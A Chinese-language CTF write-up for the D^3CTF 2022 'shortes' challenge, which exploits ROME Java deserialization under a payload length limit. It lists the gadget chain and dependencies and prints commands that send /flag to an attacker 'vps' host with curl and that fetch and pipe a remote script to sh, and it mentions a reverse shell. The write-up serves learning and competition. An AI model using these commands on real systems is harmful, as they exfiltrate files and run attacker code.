[D^3CTF 2022] shortes
拿到jar包,审一下源码。
先看pom.xml的依赖:
rome反序列化没跑了。
再看到MainController.java:
这里设置了一个hello路由,可以传参baseStr,但是长度不能超过1956,如果满足条件,就会到下面base64解码然后反序列化。
其他的没啥好看的。
所以思路还是很明显的,就是写一个rome链的反序列化,而且base64编码后长度不能超过1956。
遗憾的是,直接用ysoserial打会显示payload过长:
足足4504的长度,我去。
分析来自2022d3CTF 部分web题基础知识学习-CSDN博客
原来的rome1.0在yoserial这个工具中生成的利用链如下:
TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) //5 这些序号有小到大表示调试的时候经过的函数 ToStringBean.toString() //4 ObjectBean.toString() //3 EqualsBean.beanHashCode() //2 ObjectBean.hashCode() //1 HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)
之后就按照ROME反序列化分析 (c014.cn)不断的给赋值,或者缩短链子,但是最后仍然太长,有一种比较接近我们做法的非预期解是通过终极Java反序列化Payload缩小技术 | 4ra1n用javassit把eval方法重写一遍。但是这个网站打不开了,呃呃。
预期解是用ysoserial上的链子来完成的,没去考虑 ROME 的其他更短的链子。
因为
Runtime.getRuntime().exec()
对于命令中带有|、<、>等符号时无法正常执行,无法达到我们本来想达到的目的,
而我们平时则会通过Base64编码的方式来解决这个问题,但是这无疑使生成的 payload变得很长。
所以我们可以用
ProcessBuilder().start()
来解决这个问题。
可以用vps监听port,然后http起一个服务路由a:
cat /flag | curl -F 'a=@-' vps:port
然后exp里执行:
sh -c "curl vps/a|sh"
也可以直接curl反弹shell。
pom.xml:
<dependencies> <dependency> <groupId>org.ow2.asm</groupId> <artifactId>asm</artifactId> <version>9.2</version> </dependency> <dependency> <groupId>org.ow2.asm</groupId> <artifactId>asm-commons</artifactId> <version>9.2</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies>
参考:Java安全之ROME反序列化利用分析 (yuque.com)
我输入bash的会超,牛魔,刚好1956:
用sh的方法(其实这里不加html后缀也行,更短,但是已经够了):
终于!
提一嘴,我get传参就寄,post就ok了。
这次算是学到了rome反序列化和sh下shell交互的一手方法吧。